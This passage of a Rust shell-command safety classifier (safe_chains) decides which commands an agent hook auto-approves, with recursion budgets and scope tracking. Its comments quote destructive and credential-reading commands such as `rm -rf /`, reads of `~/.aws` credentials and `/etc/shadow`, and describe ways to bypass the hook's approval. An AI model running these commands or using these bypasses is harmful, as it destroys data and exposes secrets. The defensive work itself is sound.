Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6thread_local! {
7    /// Total (re-)classifications spent on one top-level `command_verdict`. Delegating handlers
8    /// (`fd -x`, `find -exec`, `xargs`, `sudo`) re-enter here on the wrapped command, and a command
9    /// that NESTS them — `fd a b -x fd c d -x …` — branches multiplicatively (one re-check per
10    /// pre-exec base × per nesting level), i.e. exponentially. This monotonic counter caps the total
11    /// so any such blow-up fails CLOSED (Denied) in bounded time instead of hanging the hook. A depth
12    /// cap alone can't help: 3^depth calls explode long before any depth limit bites.
13    static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14    static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17/// Far above any real command's handful of delegations (a `&&` chain of 50 `fd -x`s spends ~100),
18/// far below the exponential explosion. Found by the parse fuzzer (`fd -x fd -x …`). Kept modest so
19/// the worst-case CUTOFF is also cheap in wall-clock terms — each unit is a full re-classification
20/// (parse + dispatch), so a high ceiling would let a crafted command burn hundreds of ms in the hook
21/// (and blow the debug-mode timing of `classifier_terminates_on_adversarial_input`).
22const MAX_CLASSIFY_WORK: u32 = 512;
23
24/// RAII budget guard for the classifier recursion. `enter` resets the budget at the OUTERMOST call
25/// and charges one unit per (re-)entry; `None` means the budget is spent and the caller must fail
26/// closed. Depth is bumped only on a successful enter, so it stays balanced with the `Drop`.
27pub(super) struct ClassifyGuard;
28
29impl ClassifyGuard {
30    pub(super) fn enter() -> Option<Self> {
31        if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32            CLASSIFY_WORK.with(|w| w.set(0));
33        }
34        let spent = CLASSIFY_WORK.with(|w| {
35            let n = w.get().saturating_add(1);
36            w.set(n);
37            n
38        });
39        if spent > MAX_CLASSIFY_WORK {
40            return None;
41        }
42        CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43        Some(ClassifyGuard)
44    }
45}
46
47impl Drop for ClassifyGuard {
48    fn drop(&mut self) {
49        let depth = CLASSIFY_DEPTH.with(|d| {
50            let n = d.get().saturating_sub(1);
51            d.set(n);
52            n
53        });
54        // Clearing on the way OUT, not only on the way in, is what makes the budget per-call for
55        // callers that never take a guard. `explain()` and `suggest::analyze()` walk and brace-expand
56        // a command without entering here, so they used to start with whatever the previous
57        // classification had spent and trip `MAX_CLASSIFY_WORK` on work they had not done. That made
58        // the verdict ORDER-DEPENDENT: `perl {,} -{,}e{,}{,}{,}\~{,}{,}{,}{,}` was allowed by
59        // `is_safe_command` and reported not-allowed by a following `explain` — the hook auto-approving
60        // while telling the reader it had not. Found by the `explain_render` fuzz target.
61        if depth == 0 {
62            CLASSIFY_WORK.with(|w| w.set(0));
63        }
64    }
65}
66
67/// Charge `units` of extra work to the shared per-classification budget; `false` once it is spent
68/// and the caller must fail closed.
69///
70/// Brace expansion charges here so its fan-out draws from the SAME pool as delegation and function
71/// resolution. Otherwise the two caps MULTIPLY rather than add: a word may expand to
72/// `BRACE_EXPANSION_CAP` (256) alternatives and each delegated re-classification re-expands it, so
73/// 512 delegations × 256 words is ~131k word checks — seconds of wall clock from a ~200-byte input
74/// (found by the nightly fuzzer as a timeout). Neither cap is unreasonable alone; only their product
75/// is. Charging fan-out here makes the total additive and keeps the worst case bounded.
76pub(crate) fn charge_classify_work(units: u32) -> bool {
77    CLASSIFY_WORK.with(|w| {
78        let n = w.get().saturating_add(units);
79        w.set(n);
80        n <= MAX_CLASSIFY_WORK
81    })
82}
83
84pub fn command_verdict(input: &str) -> Verdict {
85    let Some(_guard) = ClassifyGuard::enter() else {
86        return Verdict::Denied; // classification budget spent — fail closed
87    };
88    let Some(script) = parse(input) else {
89        return Verdict::Denied;
90    };
91    script_verdict(&script)
92}
93
94pub fn is_safe_command(input: &str) -> bool {
95    command_verdict(input).is_allowed()
96}
97
98thread_local! {
99    /// Functions DEFINED so far in the current classification, so a later call resolves to its body
100    /// (and a definition SHADOWS a same-named built-in — `ls(){ rm -rf /; }; ls` runs rm). Owned
101    /// clones (small); a thread-local can't borrow the CST. Latest definition wins.
102    static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
103        const { std::cell::RefCell::new(Vec::new()) };
104    /// Function names whose CURRENT body we cannot attribute — redefined inside a compound, where
105    /// the shell keeps the new body but we cannot say which one ran. `lookup_function` reports them
106    /// as unknown, so a call falls through to ordinary dispatch and denies (fail-closed) rather
107    /// than resolving to a stale, more permissive definition.
108    static POISONED_FUNCS: std::cell::RefCell<Vec<String>> =
109        const { std::cell::RefCell::new(Vec::new()) };
110    /// Names currently being resolved — bounds recursion (direct AND mutual) and total call depth,
111    /// so `f(){ f; }` or a deep chain can't blow the stack; hitting the bound denies (fail-closed).
112    static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
113}
114
115const MAX_FUNC_DEPTH: usize = 32;
116
117/// The value a `$VAR`/`$1` binds to when the assigned/argument value is UNCERTAIN (a substitution,
118/// an unbound var, a reassignment to same). It looks like a path AND is unpinnable, so `$VAR/x`
119/// fail-closes in both gate layers rather than resolving to a stale or dropped value.
120const UNCERTAIN_VALUE: &str = "/__SAFE_CHAINS_CMDSUB__";
121
122struct FuncScope;
123impl Drop for FuncScope {
124    fn drop(&mut self) {
125        FUNCTIONS.with(|f| {
126            f.borrow_mut().pop();
127        });
128    }
129}
130
131fn define_function(name: String, body: Script) -> FuncScope {
132    FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
133    FuncScope
134}
135
136pub(super) fn lookup_function(name: &str) -> Option<Script> {
137    if POISONED_FUNCS.with(|p| p.borrow().iter().any(|n| n == name)) {
138        return None; // body unknown — deny rather than use a stale one
139    }
140    FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
141}
142
143/// Mark `name`'s body unknown for the rest of this evaluation. Not scoped by a guard: the shell's
144/// redefinition is not scoped either, and every classification starts with a fresh thread-local.
145fn poison_function(name: String) {
146    POISONED_FUNCS.with(|p| p.borrow_mut().push(name));
147}
148
149struct ResolveScope;
150impl Drop for ResolveScope {
151    fn drop(&mut self) {
152        RESOLVING.with(|r| {
153            r.borrow_mut().pop();
154        });
155    }
156}
157
158/// Begin resolving a call to `name`, unless it recurses, exceeds the depth cap, or exhausts the
159/// per-invocation classification budget — then return `None` and the caller treats it as an ordinary
160/// (unknown) command, which denies. The budget is what stops exponential FAN-OUT (`f(){ f2; f2; };
161/// f2(){ f3; f3; }; …`): the depth cap alone bounds a linear chain, but branching multiplies, so each
162/// resolution charges the shared `CLASSIFY_WORK` counter that also caps delegating-handler recursion.
163fn begin_resolving(name: &str) -> Option<ResolveScope> {
164    let over_budget = CLASSIFY_WORK.with(|w| {
165        let n = w.get().saturating_add(1);
166        w.set(n);
167        n > MAX_CLASSIFY_WORK
168    });
169    if over_budget {
170        return None;
171    }
172    RESOLVING.with(|r| {
173        let mut stack = r.borrow_mut();
174        if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
175            None
176        } else {
177            stack.push(name.to_string());
178            Some(ResolveScope)
179        }
180    })
181}
182
183fn script_verdict(script: &Script) -> Verdict {
184    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
185        .into_iter()
186        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
187}
188
189/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
190/// installed, and return the per-statement results.
191///
192/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
193/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
194/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
195///
196/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
197/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
198/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
199/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
200pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
201    let mut running = crate::pathctx::cwd();
202    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
203    let mut _funcs: Vec<FuncScope> = Vec::new();
204    let mut out = Vec::with_capacity(script.0.len());
205    for stmt in &script.0 {
206        out.push({
207            let _cwd = crate::pathctx::enter_cwd(running.clone());
208            per_stmt(stmt)
209        });
210        let effects = shell_effects(&stmt.pipeline);
211        let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
212        if next.is_some() {
213            running = next;
214        } else if effects.cwd {
215            // The shell may have moved somewhere we cannot name — a `cd` inside a compound or a
216            // called function, or a bare `cd`/`cd -`. Keeping the old cwd would judge later
217            // relative paths against a directory the shell has left.
218            running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
219        }
220        for (name, value) in statement_assignments(&stmt.pipeline) {
221            _vars.push(crate::pathctx::enter_var(name, value));
222        }
223        // Rebinds the shell keeps but we cannot attribute — a `VAR=…` or `name() {…}` inside a
224        // compound or a called function. Pushed AFTER the precise bindings above so the uncertain
225        // value wins for that name; a statement handled precisely contributes nothing here.
226        for name in effects.vars {
227            _vars.push(crate::pathctx::enter_var(name, UNCERTAIN_VALUE.to_string()));
228        }
229        for name in effects.funcs {
230            poison_function(name);
231        }
232        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
233            _funcs.push(define_function(name.clone(), body.clone()));
234        }
235    }
236    out
237}
238
239/// How deep to chase function bodies. Bounded so a recursive definition cannot spin; hitting the
240/// bound reports a possible effect, which fails closed.
241const MAX_CD_SCAN_DEPTH: usize = 16;
242
243/// What running a statement may do to the CURRENT shell's state that we cannot attribute exactly.
244///
245/// bash isolates such effects in exactly two places — a SUBSHELL, and a stage of a multi-command
246/// pipeline. Everywhere else (brace group, `if`, `for`, `while`, `case`, a called function) a `cd`,
247/// a `VAR=…` or a `name() {…}` takes effect in the current shell and outlives the construct. The
248/// precise handling matches only statement-level forms, so all of those escaped tracking:
249/// `{ cd ~/.aws; }; cat credentials` was judged as a worktree read, and
250/// `VAR=./ok; { VAR=/etc/shadow; }; cat $VAR` kept the stale binding. Both are fail-OPEN — the
251/// stale state is the permissive one.
252///
253/// Whether the effect happened is unknowable (a branch may not be taken, a loop may not run), so
254/// the caller marks the cwd and the named bindings UNCERTAIN rather than guessing a value.
255#[derive(Default)]
256struct ShellEffects {
257    cwd: bool,
258    vars: Vec<String>,
259    funcs: Vec<String>,
260}
261
262/// The effects of one statement. Empty for a multi-stage pipeline, whose stages are subshells.
263fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
264    let mut out = ShellEffects::default();
265    if let [only] = pipeline.commands.as_slice() {
266        // `seen` memoizes function bodies. Without it `f0(){ f1; f1; }; f1(){ f2; f2; }; …` costs
267        // 2^depth traversals — a depth cap bounds depth but not FAN-OUT, the same blow-up the
268        // classifier's own work budget exists for. Caught by the termination guard.
269        let mut seen = Vec::new();
270        scan_effects(only, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
271    }
272    out
273}
274
275fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
276    let Some(depth) = depth.checked_sub(1) else {
277        out.cwd = true; // out of budget — assume the worst
278        return;
279    };
280    match cmd {
281        Cmd::Simple(s) => {
282            let Some(name) = s.words.first().map(Word::eval) else {
283                return; // a bare `VAR=x` — handled precisely by `statement_assignments`
284            };
285            if name == "cd" {
286                out.cwd = true;
287                return;
288            }
289            // A CALL runs the body in THIS shell, so its effects escape with it.
290            if seen.contains(&name) {
291                return;
292            }
293            if let Some(body) = lookup_function(&name) {
294                seen.push(name);
295                scan_script_effects(&body, depth, seen, out);
296            }
297        }
298        // The two constructs the shell really does isolate, plus forms that run nothing.
299        Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
300        Cmd::BraceGroup { body, .. } | Cmd::For { body, .. } => {
301            scan_script_effects(body, depth, seen, out);
302        }
303        Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
304            scan_script_effects(cond, depth, seen, out);
305            scan_script_effects(body, depth, seen, out);
306        }
307        Cmd::If { branches, else_body, .. } => {
308            for b in branches {
309                scan_script_effects(&b.cond, depth, seen, out);
310                scan_script_effects(&b.body, depth, seen, out);
311            }
312            if let Some(e) = else_body {
313                scan_script_effects(e, depth, seen, out);
314            }
315        }
316        Cmd::Case { arms, .. } => {
317            for a in arms {
318                scan_script_effects(&a.body, depth, seen, out);
319            }
320        }
321    }
322}
323
324/// Every statement of a body that the shell would run in the current shell: its assignments and
325/// function definitions rebind here, and its commands are scanned in turn.
326fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
327    for st in &script.0 {
328        for (name, _) in statement_assignments(&st.pipeline) {
329            out.vars.push(name);
330        }
331        if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
332            out.funcs.push(name.clone());
333        }
334        if let [only] = st.pipeline.commands.as_slice() {
335            scan_effects(only, depth, seen, out);
336        }
337    }
338}
339
340/// The target of a statement-level `cd DIR` (a single simple command named `cd`), for cwd
341/// tracking. `None` for anything else, or `cd` with no plain positional (bare `cd`, `cd -`).
342fn cd_target(pipeline: &Pipeline) -> Option<String> {
343    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
344        return None;
345    };
346    if s.words.first()?.eval() != "cd" {
347        return None;
348    }
349    s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
350}
351
352/// The variables a `while`/`until` condition of the form `read VAR…` (incl. `IFS= read -r VAR`) binds
353/// from stdin — its non-flag positionals — so the body's `$VAR` can be gated at the pipe's item locus.
354/// Empty for any other condition. (An exotic valued read flag's value may be over-included as a var
355/// name; harmless — it just binds a never-referenced name to the same workspace locus.)
356fn read_loop_vars(cond: &Script) -> Vec<String> {
357    let [stmt] = cond.0.as_slice() else {
358        return Vec::new();
359    };
360    let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
361        return Vec::new();
362    };
363    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
364    if words.first().map(String::as_str) != Some("read") {
365        return Vec::new();
366    }
367    words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
368}
369
370/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
371/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
372/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
373/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
374fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
375    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
376        return Vec::new();
377    };
378    if !s.words.is_empty() {
379        return Vec::new();
380    }
381    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
382}
383
384/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
385/// `$refs` against the current scope first, then requires no residual `$` and no substitution
386/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
387fn certain_value(word: &Word) -> String {
388    let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
389    // A TAGGED substitution sentinel is certain enough to BIND: it already classifies to a known
390    // locus, so `OUT=$(pwd); … > "$OUT/raw/x"` gates the write at the worktree rather than
391    // fail-closing on a value it can in fact bound. Every other marker stays uncertain.
392    if raw.contains('$') || is_opaque_value(&raw) { UNCERTAIN_VALUE.to_string() } else { raw }
393}
394
395/// Whether an evaluated word carries a marker the classifier CANNOT bound: the opaque command
396/// substitution, a process substitution (a `/dev/fd` pipe), or arithmetic. Deliberately not a
397/// `__SAFE_CHAINS_` prefix test, which would also catch the tagged (bounded) substitution.
398pub(crate) fn is_opaque_value(raw: &str) -> bool {
399    ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
400        .iter()
401        .any(|m| raw.contains(m))
402}
403
404#[cfg(test)]
405pub(crate) fn is_safe_script(script: &Script) -> bool {
406    script_verdict(script).is_allowed()
407}
408
409pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
410    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
411    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
412    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
413    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
414    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
415    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
416    let mut stream: Option<String> = None;
417    for (stage, cmd) in pipeline.commands.iter().enumerate() {
418        let _stdin = stream.clone().map(crate::pathctx::enter_stdin_repr);
419        acc = acc.combine(super::netargs::with_stdin(pipeline, stage, || cmd_verdict(cmd)));
420        stream = Some(stage_output_repr(cmd, stream.as_deref()));
421    }
422    acc
423}
424
425/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
426/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
427/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
428/// must deny in BOTH gate layers.
429const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
430
431/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
432/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
433/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
434/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
435fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
436    let Cmd::Simple(s) = cmd else {
437        return UNKNOWN_ITEM.to_string();
438    };
439    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
440    let Some(first) = words.first() else {
441        return UNKNOWN_ITEM.to_string();
442    };
443    let name = Token::from_raw(first.clone()).command_name().to_string();
444    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
445    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
446    match name.as_str() {
447        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
448        //
449        // "Worst" by BOTH faces, not by whether the read is allowed. Selecting on `source_ok`
450        // dropped any root that merely reads fine, so `find app/.git` fell through to `.` and
451        // `find app/.git | while read f; do echo hi > "$f"; done` wrote into the frozen rung that
452        // `echo hi > app/.git/config` refuses. `.git` is exactly the path that reads fine and must
453        // not be written, so a read-face test could never see it.
454        "find" | "fd" | "fdfind" => {
455            let roots = find_roots(&args);
456            let base = roots
457                .iter()
458                .max_by_key(|r| {
459                    let (read, write) = (crate::engine::resolve::locus::read_locus(r), crate::engine::resolve::locus::write_locus(r));
460                    read.max(write)
461                })
462                .copied()
463                .unwrap_or(".");
464            // Same stand-in the `-exec` handlers bind `{}` to — one rule, one definition. It was two
465            // copies before, and the copy that got the shield fix was this one, so `find / | xargs
466            // cat` refused while `find / -exec cat {} \;` read the same files.
467            //
468            // Deliberately not applied to the arms below. `echo /etc/passwd | xargs cat` keeps its
469            // literal representative because the shield genuinely CAN check that one; the
470            // distinction is whether we hold the actual path or a placeholder for it.
471            crate::engine::resolve::locus::traversal_item(base)
472        }
473        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
474        "ls" => {
475            if args.contains(&"-d") {
476                worst_arg_repr(&args)
477            } else {
478                "sc_item".to_string()
479            }
480        }
481        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
482        "echo" | "printf" => worst_arg_repr(&args),
483        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
484        "git" => match args.first() {
485            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
486            _ => UNKNOWN_ITEM.to_string(),
487        },
488        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
489        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
490        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
491        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
492        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
493        "head" | "tail" if !reads_a_file_after_count(&args) && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) => through(),
494        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
495        "tee" => through(),
496        _ => UNKNOWN_ITEM.to_string(),
497    }
498}
499
500/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
501/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
502/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
503/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
504/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
505fn reads_a_file(args: &[&str]) -> bool {
506    args.iter()
507        .any(|a| (!a.starts_with('-') && *a != "-") || *a == "--files0-from" || a.starts_with("--files0-from="))
508}
509
510/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
511/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
512fn reads_a_file_after_count(args: &[&str]) -> bool {
513    let mut i = 0;
514    while i < args.len() {
515        let a = args[i];
516        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
517            i += 2; // flag + its value
518            continue;
519        }
520        if a.starts_with('-') || a == "-" {
521            i += 1;
522            continue;
523        }
524        return true; // a bare positional → a file operand
525    }
526    false
527}
528
529/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
530/// a granted dir), so paths derived from it are safe operands.
531fn source_ok(path: &str) -> bool {
532    crate::engine::resolve::read_content_verdict(path).is_allowed()
533}
534
535/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
536/// whose read is denied, else a worktree placeholder.
537fn worst_arg_repr(args: &[&str]) -> String {
538    args.iter()
539        .filter(|a| !a.starts_with('-'))
540        .find(|a| !source_ok(a))
541        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
542}
543
544/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
545/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
546fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
547    let mut i = 0;
548    while i < args.len() {
549        match args[i] {
550            "-H" | "-L" | "-P" => i += 1,
551            "-D" | "-O" => i += 2,
552            _ => break,
553        }
554    }
555    let mut roots = Vec::new();
556    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
557        roots.push(args[i]);
558        i += 1;
559    }
560    if roots.is_empty() {
561        roots.push(".");
562    }
563    roots
564}
565
566pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
567    pipeline_verdict(pipeline).is_allowed()
568}
569
570pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
571    match cmd {
572        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
573        _ => true,
574    }
575}
576
577fn has_any_substitution(cmd: &SimpleCmd) -> bool {
578    cmd.words.iter().any(has_substitution) || cmd.env.iter().any(|(_, v)| has_substitution(v))
579}
580
581/// A command rendered for comparison against the user's own `Bash(...)` allow-rules.
582///
583/// Includes the LEADING ENV ASSIGNMENTS. Dropping them meant a rule written for one command
584/// silently covered a different one: `Bash(~/runner-scripts/x.sh:*)` matched
585/// `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a dry run pre-approved the mutating run.
586/// The user had even written separate `Bash(WRITE=1 …)` entries — necessary at the harness's own
587/// matcher, and quietly redundant here.
588///
589/// The rule must describe the command as TYPED. That is not a judgement about which variable names
590/// are dangerous (nothing here knows `LD_PRELOAD` from `NODE_ENV`) — it is only the requirement that
591/// an allow-rule cover what it claims to. A command carrying an assignment therefore matches only a
592/// rule that carries it too, and otherwise falls through to the harness's normal approval flow.
593///
594/// This is the USER-ALLOWLIST path alone. safe-chains' own knowledge of a command is consulted
595/// first and short-circuits before reaching here, so `LD_PRELOAD=… ls` is unaffected — see
596/// `docs/design/env-prefix-classification.md` for that separate, unfixed hole.
597/// `None` when the command cannot be rendered UNAMBIGUOUSLY, which callers must treat as "matches
598/// nothing".
599///
600/// An env value containing whitespace has no unambiguous flat rendering: `WRITE='1 script.sh' rm
601/// -rf /` and `WRITE=1 script.sh rm -rf /` produce the same string, but the first runs `rm` and the
602/// second runs `script.sh`. Since assignments sit BEFORE the program name, a value that swallows
603/// the rest of a pattern lets a rule for one program match a different one —
604/// `Bash(WRITE=1 script.sh:*)` would match `WRITE='1 script.sh' rm -rf /`. Refusing to render is the
605/// only honest answer; the alternative is a rule that silently covers a program it never named.
606///
607/// Words with whitespace are NOT refused: `git commit -m 'a message'` is ordinary and a rule like
608/// `Bash(git commit -m:*)` should keep covering it. A quoted word can shift an argument boundary,
609/// which is a pre-existing looseness of this matcher, but it cannot change which program runs —
610/// the program is the first word either way.
611pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
612    let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
613    for (name, value) in &cmd.env {
614        let value = value.eval();
615        if value.chars().any(char::is_whitespace) {
616            return None;
617        }
618        parts.push(format!("{name}={value}"));
619    }
620    parts.extend(cmd.words.iter().map(|w| w.eval()));
621    Some(parts.join(" "))
622}
623
624pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
625    match cmd {
626        Cmd::Simple(s) => simple_verdict(s),
627        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
628            let body_v = script_verdict(body);
629            if let Verdict::Denied = body_v {
630                return Verdict::Denied;
631            }
632            let redir_v = redirect_verdict(redirs);
633            if let Verdict::Denied = redir_v {
634                return Verdict::Denied;
635            }
636            body_v.combine(redir_v)
637        }
638        Cmd::For { var, items, body, redirs } => {
639            let redir_v = redirect_verdict(redirs);
640            if let Verdict::Denied = redir_v {
641                return Verdict::Denied;
642            }
643            // Bind `$var` in the body to the loop list's locus (the `find … {}`→path binding,
644            // one layer up), so `for f in *.txt; do cat $f` reads the worktree instead of
645            // fail-closing on the bare `$f`.
646            let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
647            let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
648                Some((read_repr, write_repr)) => {
649                    let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
650                    super::netargs::with_loop(var, items, body, || script_verdict(body))
651                }
652                None => script_verdict(body),
653            };
654            words_sub_verdict(items).combine(body_v).combine(redir_v)
655        }
656        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
657            let redir_v = redirect_verdict(redirs);
658            if let Verdict::Denied = redir_v {
659                return Verdict::Denied;
660            }
661            let cond_v = script_verdict(cond);
662            // `while read VAR; do … "$VAR" …` — bind each read var to the piped stdin's item locus,
663            // exactly as the `for`-loop binds its list var, so `find ./src | while read f; do cat "$f"`
664            // reads the worktree instead of fail-closing on the bare `$f`. Only when a modeled source
665            // set the stdin repr; otherwise the vars stay unbound (fail-closed).
666            let _binds: Vec<crate::pathctx::LoopGuard> = match crate::pathctx::stdin_item_repr() {
667                Some(repr) => read_loop_vars(cond)
668                    .into_iter()
669                    .map(|v| crate::pathctx::enter_loop_var(v, repr.clone(), repr.clone()))
670                    .collect(),
671                None => Vec::new(),
672            };
673            cond_v.combine(script_verdict(body)).combine(redir_v)
674        }
675        Cmd::If { branches, else_body, redirs } => {
676            let redir_v = redirect_verdict(redirs);
677            if let Verdict::Denied = redir_v {
678                return Verdict::Denied;
679            }
680            let mut v = redir_v;
681            for b in branches {
682                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
683            }
684            if let Some(eb) = else_body {
685                v = v.combine(script_verdict(eb));
686            }
687            v
688        }
689        Cmd::DoubleBracket { words, redirs } => words_sub_verdict(words).combine(redirect_verdict(redirs)),
690        // Which arm runs is decided at runtime, so — exactly as for `If` — every arm body counts
691        // and the case is only as safe as its worst arm. The patterns are matched, never executed,
692        // but the SUBJECT is expanded, so its substitutions are gated like any other word.
693        Cmd::Case { subject, arms, redirs } => {
694            let redir_v = redirect_verdict(redirs);
695            if let Verdict::Denied = redir_v {
696                return Verdict::Denied;
697            }
698            let mut v = redir_v.combine(word_sub_verdict(subject));
699            for arm in arms {
700                v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
701            }
702            v
703        }
704        // Defining a function has NO effect — Inert regardless of the body. The body's safety is
705        // evaluated only when the function is CALLED (resolved in `simple_verdict`), so an UNCALLED
706        // definition never denies on its body.
707        Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
708    }
709}
710
711pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
712    cmd_verdict(cmd).is_allowed()
713}
714
715fn part_sub_verdict(part: &WordPart) -> Verdict {
716    match part {
717        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
718        WordPart::Backtick(raw) => command_verdict(raw),
719        WordPart::DQuote(inner) => word_sub_verdict(inner),
720        // Arithmetic is inert, but a `$( )` inside it runs — judged, not skipped.
721        WordPart::Arith(inner) => word_sub_verdict(inner),
